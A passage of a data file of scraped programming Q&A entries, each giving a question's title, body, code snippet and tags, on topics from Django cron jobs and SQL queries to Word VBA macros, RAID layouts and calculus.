os.path.dirname(sys.argv[0])\n sys.path.append(os.path.abspath(pathname))\n
sys.path.append(os.path.normpath(os.path.join(os.path.abspath(pathname), '../')))\n
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings'\n\nsetup_environment()\n\n\nfrom
common.models import TweetCache\nimport datetime\n\ndef main():\n print \"(%s)
Caching tweets...\" % str(datetime.datetime.now()) \n previous_tweets =
TweetCache.objects.filter(username='atmospherian')\n for prev in
previous_tweets:\n prev.delete()\n\n import twitter\n\n api =
twitter.Api()\n tweets = api.GetUserTimeline('atmospherian')\n for t in
tweets:\n tc = TweetCache(username='atmospherian', date=t.created_at,
text=t.text)\n tc.save()\n\nif __name__ == '__main__':\n main()\n",
"django cron"], "5940453": ["getting xpath 2.0 functions to work in any browser at
all", "I want to use XPath 2.0 functions, like
these:\nhttp://www.w3schools.com/xpath/xpath_functions.asp\nIn a browser XSL
transform. I can specify the XSL version as 2.0 in the stylesheet tag, but this
doesn't seem to activate the 2.0 XPath functions (at least in Firefox). \nSo for
example this:\n\ngives me:\n\nin IE 8. The XPath 1.0
functions:\nhttp://www.edankert.com/xpathfunctions.html\nseem to work fine. Chrome
doesn't appear to support XSL 2.0 from what I read.\n", "<xsl:value-of
select=\"node-name(//testnode)\"/>\n", "internet-explorer firefox xpath xslt"],
"1174063": ["Connection sharing in JCA glassfish", "I have a misunderstanding
regarding the connection handle
sharing in JCA. \nI want to know if the connection sharing only happens during a
phase of transaction ( multiple components call ) or the connection sharing is
possible amongst multiple clients accessing a component that has the same EIS
destination. \nI created my own resource adapter on Glassfish application server
3.1. The problem is the resource adapter doesn't perform any connection sharing (no
associateConnection method call).\nThanks,\n", "", "glassfish connection sharing
jca"], "6007200": ["how to make a loading start bar in Vaadin", "Hey to know how to
make a progress bar on start up of vaadin application to load data like the way of
Flash or FLEX\n", "", "java java-ee vaadin"], "1146630": ["How to use iOS Keychain
to stored an OAuth token on iPhone?", "I am going to use RestKit to access web api
using OAuth. In the RestKit doc raecommendations:\n\nWe strongly encourage you to
keep access_token, refresh_token,\n clientId and clientSecret using the iOS
Keychain or other secure\n storage ways.\n\nHow can I use to store a secret
token? \nUPDATE: This question is down-voted. Probably I didn't make my question
clear enough. I knew there is iOS Keychain and the APIs. My question is how to
store a in a secret place (using iOS Keychain or other encryption lib) before the
app is shipped, without a plain text version stored some where else (in code or in
plist). As it is an api token, which is not supposed to be entered by user, how can
I initialize the token in the first place.\n", "iOS Keychain", "iphone ruby-on-
rails ios oauth restkit"], "2425466": ["Is there any way to make MAPI emails in
Outlook non-modal?", "In Outlook 2010 64 bit, if I send a new message, that open up
a non-modal window. I can return to the main window to do other tasks such as look
at a calendar.\nHowever, if I send the mail through MAPI from other office
application (e.g. PowerPoint 2010 as shown below) the doalog is modal.\n\nIs there
a way to make it non-modal? My workaround at the moment is to save the messsage as
a draft and reopen it.\n", "", "microsoft-outlook microsoft-office-2010"],
"1243838": ["VBA for altering PowerPoint 2003 Presentations- Active not new", "If I
set up a template on PowerPoint slides, that contain all the text boxes I need, the
what Visual Basic do I use to enter text that I want into those text boxes?\nIt is
easier for me to use a template, because these ppt briefs contain (or need to
contain) a lot of data:\n\nhow do I enter text into those text boxes\nhow do you
alter the font, size, fontbold, etc of a particular text box?\nis there a way for
determining the \"name\" of a text box/shape (\"text box 52\") other than recording
macros after macros and selecting the text box, just to get the object name from
selection?\nif I use a macro to determine the vba, why will it not work to use that
as vba? the vb I get from a macro seems to have active.selection which just doesn't
seem to work as a vba procedure because it doesn't know what to select???? i think\
n\nwhat i am looking to do is create the end game ppt from access, using the
template. on an access form I want to have multiple text boxes that relay the
information into the ppt text boxes on the slide.\ni know how to launch a template
(or new presentation) from access, and how to add new items (slides, graphs,
charts, text) but I do not know how to alter pre-existing text boxes!!\nPlease
help....my work is needing this like yesterday! \nThanks as always!\n", "", "ms-
access vba powerpoint powerpoint-vba"], "3911039": ["sql GROUP BY but use the most
recent record?", "I am trying to do something like this, and I'm not sure if it's
possible using a simple GROUP BY:\n\nSo when I have a table like this:\nStudent:
2012-12345\n\nIt will should look like this:\nStudent: 2012-12345\n\nEDIT: Here's
the solution:\n\n", "SELECT GD.GradebookDetailId, G.SubjectCode, G.Description,
G.UnitsAcademic, G.UnitsNonAcademic, \nGD.Grade, GD.Remarks, G.FacultyName,
STR_TO_DATE(G.DateApproved, '%m/%d/%Y %h:%i:%s') AS 'DateAproved'\n\nFROM
gradebookdetail GD \nINNER JOIN gradebook G ON GD.GradebookId=G.GradebookId \nWHERE
G.DateApproved IS NOT NULL AND G.GradebookType='final' AND StudentIdNumber='2012-
12345'\n\nGROUP BY ???????\nORDER BY G.SubjectCode ASC\n", "group-by order-by"],
"4741867": ["GTK Widget object naming", "I am writting a PyGTK application. I am
using the glade interface designer for layouts.\nI want to know if there is any
standard way of naming a Widget object.\neg : For a button called \"Configure\" how
should I name it ? eg : ConfigureBt, ButtonConfigure, ConfigureButton, etc\nI want
the app to be accepted in the default ubuntu/debian/gnome setup. I want to follow
all the standards requirements for it.\n", "", "gtk pygtk standards-compliance"],
"4179372": ["\"Page description language\" and \"markup language\"", "What is the
difference and relation between \"Page description language\", \"markup language\"
and \"Page description markup language\"? \nBased on their wiki webpages, I just
don't understand what is their difference. Why needs there be a markup adaption of
the Page description language - \"Page description markup language\"?\nExamples:\
nPostScript is a page description language. Is it a markup language? HTML and Latex
are markup language. Are they page description language?\n", "", "html latex
language markup postscript"], "1284491": ["Eliminating repetitive try/catch code",
"Writing code which has to handle the same exceptions time and time again
constantly gets boring.\nIs there a way to write code, without try/catch, and add
attributes to the method to catch (and handle) the various exceptions which may
occur? This sounds like AOP (Postsharp), would this be the ideal solution?\nSo I
want to write classes which can dictate where/how an exception is logged, rethrown,
etc, and they derive from attributes and any base class/interface. And then re-use
these and apply them to different methods throughout the code. This will greatly
improve consistency.\nThanks\n", "", "c# aop"], "1562504": ["LVM-on-RAID vs RAID10
vs RAID6", "In the spirit of the question LVM mirroring VS RAID1 I thought I'd push
a bit further.\nSuppose I have 4 identical hard drives (e.g. 1TB) that I want in a
RAID setup for a backup/media server. LVM over the top seems to be current best
practice for resizing, but what about the RAID layout? My options seem to be:\n\n2x
1TB RAID1 sets with LVM concatenation\n2x 1TB RAID1 sets with LVM striping\n1x 2TB
RAID10 (striped 2x 1TB) set with LVM on top\n1x 2TB RAID6 (striped 2x1TB with 2x
1TB parity) with LVM on top\n\nRAID-on-LVM sounds too crazy to be worth
investigating, but I'd be interested if someone can make a good case for using it.\
nHow does each of these perform in the scenario of\n\nThe I/O load will be a
combination of low but constant (e.g. video streaming) and high but bursty (e.g. a
backup system)\nIt is very likely that a drive will die unexpectedly\nI want to
upgrade (increase the capacity of) the drives 1 or 2 at a time (no longer
relevant)\nAt some point in the future I might want to add another 2x HDDs in RAID1
to the LVM\n\nWhat are you recommendations/experiences with any of these RAID
configs?\n", "", "linux lvm software-raid mdadm"], "4198664": ["Referencing a
specific repeater item instance", "I've been looking all over StackOverflow and
Google for an answer to this question, but I haven't been able to find anything.\nI
have a C# based ASP webpage that uses a repeater control to list information about
students returned via a SQL procedure. To populate the repeater, the web app I am
working in uses a class with properties representing each field in a SQL query
result row. From my understanding, each item in the repeater control contains a
separate instance of the class, with each instance representing a row in the query
results. First, please let me know if the repeater operates differently than I
understand.\nIf my understanding is correct, however, I would like to know if there
is any way to reference a instance contained in the specific item of the repeater
control. I looked at a few methods associated with the repeater object, including:\
n\nNone of these seem to reference the SQL row/'Student' instance.\nIs there
something that I am missing or not understanding correctly? I have been pouring
over the MSDN site for the repeater control as well, but I may not be understanding
all the terminology, if there is a solution on the page. The MSDN repeater page I
am using is
http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.repeater(v=vs.100
).aspx.\n", "Student", "c# asp.net web-applications repeater datamember"],
"2421595": ["[CALayer retain]: message sent to deallocated instance?", "In my app
when I am switching views, after about the 4th time I switch views I get a crash
that says:\n\nI have NSZombieEnabled in Xcode and it points me to this line
whenever it switches views:\n\nAlso if I do a backtrace of the (gdb) it gives me
this:\n\nAlso this how I switch views, I have a main view controller. I then use a
ParentView and protocols to call these methods from my other views controllers. I
then use custom UIView animations to switch views.\nDoes anyone have any ideas why
this is crashing?\nThanks!\n", "*** -[CALayer retain]: message sent to deallocated
instance 0x6c4ba0\n", "ios cocos2d views transition"], "1583072": ["No intellisense
in C#", "I use Microsoft Visual Studio to code in VB\nThis is the first time I code
in C# and there is no intellisense.\nTried \n\nTools -> Options -> Text Editor\n\
nand there is nothing C# related \nHow to fix this?\n", "", "c# asp.net vb.net
intellisense"], "3949671": ["Dojo - How to refresh combobox with updated
ItemFileReadStore data", "I changed ItemFileReadStore for combobox in Dojo. \nMy
code looks something like\n\nMy widget is similar to dojo combobox widget. I
changed
transformData but the combobox is not updated until the page is entirely reloaded
again. Any idea?\n", " <span dojoType=\"dojo.data.ItemFileReadStore\"\n
jsId=\"comboStore\"\n data=\"transformData\">\n <select
dojoType=\"mywidget.DropDown\" id=\"transformCombo\" value=\"\"
store=\"comboStore\" searchAttr=\"name\" name=\"state\" maxHeight=\"100\"/>\n",
"javascript html ajax dojo"], "5619420": ["Is Mac Boot Camp reliable?", "I'm a
contracting web developer, and want to get a new MacBook Pro laptop with Windows
running as an alternative OS. I'll probably be using Windows 80% of the time, and
20% of the time I'll do iPhone development in Mac OS X.\n\nAm I losing any
performance when in Windows mode?\nIs this system robust? I need it to be 100%
robust as I'm in the field all the time. It needs to be as reliable as a native
Windows PC.\n\n", "", "windows-7 mac boot-camp"], "5909188": ["issue in jaxb to XML
conversion", "I have a xml file for which i have created the xsd and generated the
corresponding classes.\nThe xml is: -\n\nI have written the java code which returns
me -\n\nCan anyone check my code?\n", "<response version=\"3.4\">\n <target
name=\"UserAPI\" operation=\"createUser\">\n <result>\n <user>\n
<id>6413</id>\n </user>\n </result>\n </target>\n</response>\
n", "java xml jaxb"], "2369713": ["clipboard addon to remove text formatting", "I
was just wondering if anyone know of a Windows application that will remove
formatting from any text in the clipboard? So if I copy something from word into
another document, the content is pasted as the original text without formatting. I
want this to work no matter what application I paste into.\n", "", "clipboard"],
"4997454": ["Word macro to find profanity, and create a list of occurences", "I
have TV scripts that occasionally have profanities in them that must be brought to
the attention of a third party. I built a macro that searches for specific words,
temporarily disfigures them so they aren't repeatedly found again, and lists them,
and the times at which they occur in the macro... Problem: Without even running it,
I KNOW it will only find the first instance of the word... Sometimes they say the
same word 20 times... I need to list each occurence and the time code. Not
replace, or highlight.. just list the word. What I have so far... Any help is
appreciated.\n\n", " Sub Macro7()\n'\n' Macro7 Macro\n'\n'\n
Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"dog\"\n
.Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n
.Format = False\n .MatchCase = False\n .MatchWholeWord = False\n
.MatchWildcards = False\n .MatchSoundsLike = False\
n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n
Selection.Copy\n\n ' places cursor inside the word so I can disfigure it\n\n
Selection.MoveLeft Unit:=wdCharacter, Count:=1\n Selection.MoveRight
Unit:=wdCharacter, Count:=1\n\n ' xxx1 temporarily disfigures the word so it
isn't re-found over and over\n\n Selection.TypeText Text:=\"xxx1\"\n\n ' goes
to end of document and pastes the word there,\n ' to be joined by the matching
timecode to be found next\n\n Selection.EndKey Unit:=wdStory\n
Selection.PasteAndFormat (wdPasteDefault)\n Selection.Find.ClearFormatting\n
' returns to last instance of word and finds time code\n ' immediately
preceeding it\n\n With Selection.Find\n .Text = \"xxx1\"\
n .Replacement.Text = \"\"\n .Forward = True\n .Wrap =
wdFindContinue\n .Format = False\n .MatchCase = False\
n .MatchWholeWord = False\n .MatchWildcards = False\
n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End
With\n Selection.Find.Execute\n Selection.MoveLeft Unit:=wdCharacter,
Count:=1\n Selection.Find.ClearFormatting\n With Selection.Find\n\n
'this is finding the time code\n\n .Text = \"^?^?:^?^?:^?^?:^?^?\"\
n .Replacement.Text = \"\"\n .Forward = False\n .Wrap =
wdFindContinue\n .Format = False\n .MatchCase = False\
n .MatchWholeWord = False\n .MatchWildcards = False\
n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End
With\n Selection.Find.Execute\n\n ' copies the time code value and goes to
bottom of document\n ' to paste it with the word previously found\n\n
Selection.Copy\n Selection.EndKey Unit:=wdStory\n Selection.TypeText
Text:=vbTab\n Selection.PasteAndFormat (wdPasteDefault)\n
Selection.TypeParagraph\n Selection.Find.ClearFormatting\n\n ' returns to the
word just found\n\n With Selection.Find\n .Text = \"xxx1\"\
n .Forward = False\n .Wrap = wdFindContinue\n .Format = False\
n .MatchCase = False\n .MatchWholeWord = False\
n .MatchWildcards = False\n .MatchSoundsLike = False\
n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n
Selection.MoveRight Unit:=wdCharacter, Count:=1\n\n\n ' begins the process for
the next word \"cat\"\n\n Selection.Find.ClearFormatting\n With
Selection.Find\n .Text = \"cat\"\n .Replacement.Text = \"\"\
n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n
.MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards =
False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n
End With\n Selection.Find.Execute\n Selection.Copy\n\n ' places cursor
inside the word so I can disfigure it\n ' etc etc etc\n\nEnd Sub\n", "list
search macros ms-word repeated"], "2812184": ["How to display all columns
associated with duplicate emails in SQL server 2008", "I've done some research on
looking for a way to filter duplicate emails so all columns display the data
associated with these duplicate emails, but can't find an answer to help me with
this.\nI currently have data pulled using the following code:\n\nIt then gives me
xxxxxx amount of rows. I then want to be able to pull any data (columns) that are
associated with these duplicate emails -and just the duplicates.\n\nI know I am
doing something wrong, because the row count doesn't match.\nSo any help would be
greatly appreciated!\nThanks guys,\n", "SELECT\n Email, COUNT(Email) AS
dup_count\n\nFROM\n [cem_farmers_masterinvitelist].[dbo].InviteList\n\nGROUP BY\
n Email\n\nHAVING\n (COUNT(Email) > 1)\n\nOrder by Email\n", "sql sql-server-
2008 filter duplicates"], "5479291": ["What do people think of jira studio?", "What
are peoples opinions on jira studio? i.e. using the hosted product for a large
company. Especially with hosted source control and reliability of the service? \nIs
this product up to large scale implementations yet?\n", "", "jira saas"], "926841":
["Microsoft SQL 'not like' vs <>", "Is there any real difference between using 'not
like' without any % signs and using the not-equal operator <> in Microsoft SQL?
Example:\n\nor\n\nversus\n\nor\n\nI've noticed I have a habit of using not like
(it's faster to type and feels more intuitive when reading my own code) and I was
wondering if there's any chance that it will ever cause behavior that is different
from a not-equal. I read in other questions that 'like' is slower than 'equals' but
I'm more concerned about the result of the comparison here.\nI am nearly always
using the varchar data type when doing comparisons. \n", "if exists (select * from
table_name where column_name not like @myvariable)\n", "sql sql-server tsql
comparison sql-like"], "4383037": ["Is there pluggable online python console?",
"I'm thinking if there already is some sort of online live python console (web-
based) with open source code available. Anyone know of anything?\nIt would be
really useful to have console in Django admin (like running python manage.py shell
on the server's terminal), so it would be great to have django/any wsgi aplication,
that can be used to enable web based live console access.\nThanks \n", "", "python
django shell console"], "2193097": ["Can't install PIL on amazon ec2", "I'm trying
to \"pip install PIL\" on my amazon instance, but i keep getting this error, any
suggestions?\nDownloading/unpacking PIL\n Running setup.py egg_info for package
PIL\nWARNING: '' not a valid package name; please use only.-separated package names
in setup.py\nInstalling collected packages: PIL\nRunning setup.py install for PIL\
n\nerror: command 'gcc' failed with exit status 1\n", "WARNING: '' not a valid
package name; please use only.-separated package names in setup.py\nbuilding
'_imaging' extension\ngcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-
D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -
mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -DNDEBUG -O2 -g -pipe -Wall -Wp,-
D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -
mtune=generic -D_GNU_SOURCE -fPIC -fwrapv -fPIC -DHAVE_LIBZ -IlibImaging
-I/home/ec2-user/food-chute/foodchute/venv/include -I/usr/local/include
-I/usr/include -I/usr/include/python2.6 -c _imaging.c -o build/temp.linux-x86_64-
2.6/_imaging.o\n_imaging.c:75:20: error: Python.h: No such file or directory\nIn
file included from libImaging/Imaging.h:14,\n from _imaging.c:77:\
nlibImaging/ImPlatform.h:14:2: error: #error Sorry, this library requires support
for ANSI prototypes.\nlibImaging/ImPlatform.h:17:2: error: #error Sorry, this
library requires ANSI header files.\nlibImaging/ImPlatform.h:55:2: error: #error
Cannot find required 32-bit integer type\nIn file included from _imaging.c:77:\
nlibImaging/Imaging.h:90: error: expected specifier-qualifier-list before \
u2018INT32\u2019\nlibImaging/Imaging.h:264:
error: expected specifier-qualifier-list before
\u2018INT32\u2019\nlibImaging/Imaging.h:395: error: expected \u2018=\u2019, \
u2018,\u2019, \u2018;\u2019, \u2018asm\u2019 or \u2018__attribute__\u2019 before \
u2018ImagingCRC32\u2019\n_imaging.c:124: error: expected specifier-qualifier-list
before \u2018PyObject_HEAD\u2019\n_imaging.c:129: error: expected \u2018=\u2019, \
u2018,\u2019, \u2018;\u2019, \u2018asm\u2019 or \u2018__attribute__\u2019 before \
u2018PyTypeObject\u2019\n_imaging.c:143: error: expected specifier-qualifier-list
before \u2018PyObject_HEAD\u2019\n_imaging.c:151: error: expected \u2018=\u2019, \
u2018,\u2019, \u2018;\u2019, \u2018asm\u2019 or \u2018__attribute__\u2019 before \
u2018PyTypeObject\u2019\n_imaging.c:154: error: expected specifier-qualifier-list
before \u2018PyObject_HEAD\u2019\n_imaging.c:160: error: expected \u2018=\u2019, \
u2018,\u2019, \u2018;\u2019, \u2018asm\u2019 or \u2018__attribute__\u2019 before \
u2018PyTypeObject\u2019\n_imaging.c:165: error: expected specifier-qualifier-list
before \u2018PyObject_HEAD\u2019\n_imaging.c:170: error: expected \u2018=\u2019, \
u2018,\u2019, \u2018;\u2019, \u2018asm\u2019 or \u2018__attribute__\u2019 before \
u2018PyTypeObject\u2019\n_imaging.c:172: error: expected \u2018=\u2019, \u2018,\
u2019, \u2018;\u2019, \u2018asm\u2019 or \u2018__attribute__\u2019 before \u2018*\
u2019 token\n_imaging.c: In function \u2018_dealloc\u2019:\n_imaging.c:204:
error: \u2018ImagingObject\u2019 has no member named \u2018access\u2019\n", "gcc
amazon-ec2 pil"], "4728468": ["wxt terminal for gnuplot on Mac OS X", "I've
installed on my Mac OS X 10.8 using , but as far as I understand, only terminal
is available for me now ( is \"unknown or ambiguous terminal type\"). However, I
need terminal badly. Is it possible to install some patch with (or without it), so
that to enable this terminal? \n", "gnuplot", "osx gnuplot macports"], "5557396":
["Is $\\mathbb{N}$ with $\\zeta^*$ uniformity totally bounded?", "I'm stuck in a
proof of the Cech-Stone compactification of the natural numbers.\nLet $\\mathbb{N}$
be the natural numbers with the discrete topology and let $\\zeta^*$ be the initial
uniformity on it made by all functions $f: \\mathbb{N} \\rightarrow [0,1]$. Now, it
is claimed that with this initial uniformity, $\\mathbb{N}$ is totally bounded. Why
is this ? I tried to prove it (and I managed to do so in case of one function, by
which I mean I managed to find a finite subset $F$ of $\\mathbb{N}$ such that for
one function $f: \\mathbb{N} \\rightarrow [0,1]$, and one $n \\in \\mathbb{N}$, $\\
mathbb{N} = (f \\times f)^{-1}(U^{1/n})(F)$, with $U^{1/n}=\\{(x,y)\\mid d(x,y) <
1/n\\}$ ), but I'm stuck in the case of finite intersections.\nI'm also interested
to know why this doesn't work in case of $\\mathbb{Q}$ with the Euclidean topology
and all uniformly continuous functions to $[0,1]$\n", "", "general-topology"],
"3990929": ["Radius of Convergence of $\\sum a_nx^n$", "Not really sure what I'm
missing on this problem: Find the radius of convergence for the following: \n$$\\
sum a_n x^n= \\sum \\frac{(3n)!}{(n!)^2}x^n$$ \nFrom my understanding:\n$$R=\\
lim_{n\\to\\infty}|\\frac{a_n}{a_{n+1}}|$$ where $R$ is the radius of convergence.
Therefore I get:\n$$R=\\lim_{n\\to\\infty}\\frac{(3n)!}{(n!)^2}\\frac{((n+1)!)^2}
{(3(n+1))!}=\\frac{(n+1)}{3}=\\infty$$\nBut the answer is $0$, where am I going
wrong?\n", "", "real-analysis convergence"], "2253377": ["How to handle unused
Managed Metadata Terms without a WssId?", "The Problem\nWe upload (large amounts
of) files to SharePoint using FrontPage RPC (put documents call). As far as we've
been able to find out, setting the value of taxonomy fields through this protocol
requires their WssId.\nThe problem is that unless terms have been explicitly used
before on a listitem, they don\u00b4t seem to have a WSS ID. This causes uploading
documents with previously unused metadata terms to fail.\nThe Code\nThe call
TaxonomyField.GetWssIdsOfTerm in the code snippet below simply doesn\u00b4t return
an ID for those terms.\n\nWe also tried querying the taxonomy hidden list directly,
with similar results. \nThe Cry For Help\nBoth confirmation and advice on how to
tackle this would be appreciated. I see three possible routes to a solution:\
nChange the way we are uploading, either by uploading the terms in a different way,
or by switching to a different protocol.\nQuery for the metadata WssIds in a
different way. One that works for unused terms.\nWrite/find a tool to preresolve
WssIds for all terms. Suggestions on how to do this elegantly are most welcome.\n\
n", "SPSite site = new SPSite( \"http://some.site.com/foo/bar\" );\nSPWeb web =
site.OpenWeb();\n\nTaxonomySession session = new TaxonomySession( site ); \
nTermStore termStore = session.TermStores[new Guid( \"3ead46e7-6bb2-4a54-8cf5-
497fc7229697\" )];\nTermSet termSet = termStore.GetTermSet( new Guid( \"f21ac592-
5e51-49d0-88a8-50be7682de55\" ) );\nGuid termId = new Guid( \"a40d53ed-a017-4fcd-
a2f3-4c709272eee4\" );\n\nint[] wssIds = TaxonomyField.GetWssIdsOfTerm( site,
termStore.Id, termSet.Id, termId, false, 1);\n\nforeach( int wssId in wssIds )\n{\n
Console.WriteLine( wssId );\n}\n", "sharepoint sharepoint2010 metadata taxonomy"],
"2760798": ["JavaParser (Japa) - set Annotation to method", "I am using Java Parser
(AKA Japa) \nJava 1.5 Parser and AST 1.0.8 API\nI am using it generate code, how do
I add annotations to MethodDeclaration ? (In the below example : @Test)\n\nSo far i
did that:\n\nSo I am not sure how to create AnnotationExpr since its requesting it
will an anonymous class, and i have no clue how to implement it...\nI.E:\n\
nHelp ...\n\nANSWER\nFound a solution for this:\n\n", "@Test\n@TestProperties
(name=\"STR1\", paramsInclude={\"VarA\",\"VarB\"})\npublic String
getCliCommandFromParser(String implementation) throws Exception{\n CliCommand
cliCommand = new CliCommand(getCliParserPath() + \" \" + implementation);\n}\n",
"java annotations function-declaration javaparser"], "3566659": ["Acceptable field
type and size for email address?", "\nPossible Duplicate:\nCommon mySQL fields and
their appropriate data types\nWhat are the recommended database column sizes for
names? \n\nI am looking for what would be the most correct field type and size to
store email address into a mysql table.\nI was initially considering varchar 255
but I think 255 might be too much or even too little what is the average size where
I would be able to catch all kinda of valid email address ?\n", "", "mysql size
email-address fieldtypes"], "2796796": ["JFrame gets resized and ScrollBars are not
visible", "I have designed a Swing form. It consists of a that itself contains
another . Due to some UI event a gets appended to this . Its simply like a message
box, in which messages gets appended to the list as they arrive. \nThe question is
how to make the change onto this visible. To, achieve this, I simple call the
method. But calling this resizes my frame to the size of container, ignoring the
bound I initially set. And Scroll Bars also don't get Visible, simply the frame
gets bigger in height as component gets appended to the panel. I want that my Frame
should remain in its initial size, and scrollbars should come into action, when
total size of component exceeds the size of frame. Where am I going wrong ? Please
Help.\nThis is my initial screen:\n\nThis screen is when component gets added:\n\
n", "JScrollPane", "java swing"], "2888163": ["ArcGIS Explorer: Invoke main thread
from secondary thread", "I'm developing a small add-in for ESRI ArcGIS Explorer
1200. The extension itself is quite simple, it just uses a FileSystemWatcher to
wait for an incoming file, then processes the file.\nMy main problem is: When the
FileSystemWatcher event fires, it uses a different thread than the GUI-thread. So I
can't access GUI-related objects.\nNow I would need some way to invoke a piece of
code in the user thread, but I don't know how to do this in ArcGIS world.\nMy
extension so far looks like this:\n\nAny ideas how to work around this?\n", "public
class MyExtension : ESRI.ArcGISExplorer.Application.Extension\n{\n
FileSystemWatcher _fsw;\n\n public override void OnStartup()\n {\n _fsw = new
FileSystemWatcher(@\"c:\\Temp\\Import\", \"*.xml\");\n
_fsw.IncludeSubdirectories = false;\n _fsw.Created += FileCreated;\n
_fsw.EnableRaisingEvents = true;\n }\n\n void FileCreated(object sender,
FileSystemEventArgs e)\n {\n GraphicCollection graphic =
ESRI.ArcGISExplorer.Application.Application.ActiveMapDisplay.Graphics; // <--
Threading Exception happens here\n
MessageBox.Show(Convert.ToString(graphic.Count));\n }\n\n public override void
OnShutdown()\n {\n _fsw.EnableRaisingEvents = false;\n }\n\n}\n",
"multithreading add-in arcgis esri"], "4786306": ["Extract/save a mail attachment
using bash", "Using normal tools (ie, built-ins or commonly-available command-line
tools), is it \n\npossible, and \nhow\n\nto extract/save attachments on emails?\
nFor example, say I have a nightly report which arrives via email but is a zip
archive of several log files. I want to save all those zips into a backup
directory. How would I accomplish that?\n", "bash", "linux bash attachments
email"], "5008316": ["How to Hide a folder in Sharepoint", "What else I need to add
to following code to make sure the folder is hidden or read only?\nSPListItem
createFolder = myDocLib.Folders.Add(myDocLib.RootFolder.ServerRelativeUrl,
SPFileSystemObjectType.Folder, \"Folder444\");\nfolder.Update();\n", "",
"sharepoint folder hide"], "4435132": ["What is the Max Thread.Sleep Time?", "Can
anyone tell me the Max sleep time in ms for for use in Android OS ?\n",
"Thread.sleep(time);", "java android thread-safety"], "4439760": ["How to request a
specific IP address from DHCP server?", "How to request a specific IP address from
DHCP server?\nThis
question also touches the topic of DHCP address reservation in a router.\
nBackground: My home routers DHCP table only allows to create an IP address
reservation of an assigned IP. It does not let me edit the table and manually
assign the device an arbitrary IP for the next renew.\n", "", "networking dhcp"],
"4411377": ["Display date difference in MS Word", "I have an CV and would like to
automatically update my age when opening. So, what formula should I insert in a MS
Word field?\nSomething like ?\n", "{= {DATE} - {\"01/01/1983\"} }", "microsoft-
word microsoft-office"], "1575234": ["setuptools/easy_install does not install
*.cfg files and locale directories?", "I have a little problem with
setuptools/easy_install; maybe someone could give me a hint what might be the cause
of the problem:\nTo easily distribute one of my python webapps to servers I use
setuptools' command to build a tar.gz file which is copied to servers and locally
installed using .\nSo far this seems to work great. I have listed everything in the
file like this:\n\nAnd the resulting tar.gz file does indeed contain all of the
files I need.\nIt gets weird as soon as easy_install tries to actually install it
on the remote system. For some reason a directory called and a configuration file
called won't get installed. This is odd and I can't find any documentaiton about
this, but I guess it's some automatic ignore feature of easy_install?\nIs there
something like that? And if so, how do I get easy_install to install the and
files?\nThanks!\nFor reference here is the content of my :\n\nfrom setuptools
import setup, find_packages\n\n\nrequires = ['flup', 'pyramid', 'WebError',
'wtforms', 'webhelpers', 'pil', 'apns', \\\n 'pyramid_beaker',
'sqlalchemy', 'poster', 'boto', 'pypdf', 'sqlalchemy_migrate', \\\n
'Babel']\n\nversion_number = execfile('pubserverng/version.py')\n\nsetup(\n
author='Bastian',\n author_email='[email protected]',\n
url='http://domain.de/',\n name = \"mywebapp\",\n install_requires =
requires,\n version = __version__,\n packages = find_packages(),\n
zip_safe=False,\n entry_points = {\n 'paste.app_factory': [\n
'pubserverng=pubserverng:main'\n ]\n },\n\n namespace_packages =
['pubserverng'],\n\n message_extractors = { 'pubserverng': [\n
('**.py', 'python', None),\n ('templates/**.html', 'mako', None),\n
('templates/**.mako', 'mako', None),\n ('static/**', 'ignore', None),\n
('migrations/**', 'ignore', None), \n ]\n },\n\n\n)\n\n", "sdist",
"python distribution setuptools easy-install"], "4988898": ["How to install root
certificate on Windows Phone 7?", "Just can not find how to install root
certificate on Windows Phone 7. Does anyone know?\n", "", "windows-phone-7
certificate"], "5421278": ["Effects of enabling DVFS in a CPU", "I came up with
this energy regulating software called Granola while reading at Ghacks.net\nI
downloaded and installed the software but you need to enable the DVFS function in
the CPU.\nI booted up and tried to enable DVFS in the CPU Configuration in my Asus
motherboard(Desktop).\nBut in the description it said that enabling the feature
might raise some compatibility issues with the power supply. And I'm afraid that I
might ruin the CPU if I do this. \nAny suggestions, any one here who has tried this
before? I don't know who the manufacturer of my power supply is. Would you
recommend some software that can determine every possible info about the power
supply.\n", "", "cpu motherboard power management"], "6000808": ["jQuery append
child nodes in for each", "In the below code I'm trying to loop through each child
node and append the child to another element - what is the correct syntax inside
the loop?\n\n", "$(this).children().each( \n $
(div).appendChild(this.childNodes.length - 1);\n);\n", "jquery foreach"],
"4171921": ["deselecting the listbox value", "I'm selecting items from one and
adding them to second on button click. The problem is that when I want to
deselect the selected items from listbox2, it gives \"Object reference not set to
an instance of an object\" error. Below is the code I added behind SELECT button.
I have used the same code for deselecting with listbox1 replaced by listbox2 and
vice versa.\nNOTE: Items in listbbox1 are being retrieved from database and items
that got selected in listbox2 will be saved to database\n\n", "ListBox", "c#
listbox"], "4801673": ["Row Column Cut & Insert and Rearrangement of a Toeplitz
Matrix with a Certain Rule", "For a given 40*40 Matrix (10x10 here); I'd like to
delete row and same indexed column (reducing size 9x9) from the matrix then
concatenate and insert them with same indexes and continue to do so (size revert
back to 10x10).\nThere is a certain state I want to accomplish in resulting matrix
here: All 3x3 diagonal blocks must have zero values on their non-diagonal elements.
[eg: 5 0 0 ; 0 6 0; 0 0 4]. \nSwapping (the process of aforementioned delete /
insert row,col pairs) should occur until the goal is reached. (If, not possible,
goal may become impossible after some degree. Eg. only half of the diagonal blocks
can reach the goal, and that's fine.)\nInput matrix is given far below and so far
I've written these lines without much success: (note that real matrix is 40x40)\nI
need help sorting this out in Matlab. Hope I didn't forget to say anything
